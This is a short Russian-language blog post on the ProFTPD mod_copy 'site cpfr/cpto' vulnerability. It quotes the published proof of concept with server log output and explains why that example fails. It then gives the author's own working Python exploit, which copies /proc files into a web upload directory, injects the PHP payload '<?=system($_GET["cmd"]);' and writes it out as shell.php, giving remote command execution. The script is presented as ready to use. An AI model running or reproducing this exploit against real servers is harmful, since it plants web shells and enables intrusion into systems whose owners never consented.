Про site cpfr/cpto в ProFTPD с PHP (моя версия)
После публикации деталей уязвимости в ProFTPD в интернетах начался массовый скан. Я решил проверил данную брешь на своих ресурсах. Под рукой имелись сервера под Debian 7 и Ubuntu 14.04.
В описании указано, что мы можем копировать произвольные файлы в директории доступные для записи. Также есть пример:
------------------------------ site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto <?php phpinfo(); ?> 550 cpto: Permission denied site cpfr /proc/self/fd/3 350 File or directory exists, ready for destination name site cpto /var/www/test.php test.php now contains ---------------------- 2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument 2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): FTP session opened. 2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php phpinfo(); ?>' for copying: Permission denied -----------------------
На самом деле файлы копируются, но данный пример скорее всего был преувеличен. Ни на одном из проверенных серверов получить доступ к /proc/self/fd/3 не удалось, и вот почему.
/proc/self/fd/3 указывает на /var/log/proftpd/proftpd.log.
Права /var/log/proftpd/proftpd.log “-rw-r—–“. Владеет файлом root и группа root, поэтому, просто взять и получить к нему доступ нельзя.
Используя данную уязвимость можно добиться желаемой цели, но пример был выбран неудачно.
Моя версия событий:
import socket, requests, re, sys server = '127.0.0.1' pathToDir = '/var/www/html/uploads/' urlToDir = 'http://localhost/uploads/' payload = '<?=system($_GET["cmd"]);' pidCheck = 'forCheck.txt' fileShell = 'shell.php' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, 21)) print 'Connect...', tmp = s.recv(1024) if len(tmp) > 0: print " OK\n" else: print "Fail" sys.exit() s.send('site cpfr /proc/self/status\n') s.recv(1024) s.send('site cpto ' + str(pathToDir) + str(pidCheck) + "\n") s.recv(1024) s.send("site cpfr " + str(payload) + "\n") s.recv(1024) # <getPID> r = requests.get(str(urlToDir) + str(pidCheck)) pid = r.content pidNum = re.findall(r"Pid\: (\d+)", pid) # </getPID> if len(pidNum) > 0: print "PID found: " + str(pidNum[0]) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect((server, 21)) s2.recv(1024) s2.send("site cpfr /proc/" + str(pidNum[0]) + "/cmdline\n") s2.recv(1024) s2.send("site cpto " + str(pathToDir) + str(fileShell) + "\n") s2.recv(1024) print "Your shell: " + str(urlToDir) + fileShell else: print("PID not found :(")
Определяем PID, затем выполняем команду с нашим пэйлоадом в виде PHP кода, после этого, во втором соединении копируем cmdline из первого соединения. Всё просто 🙂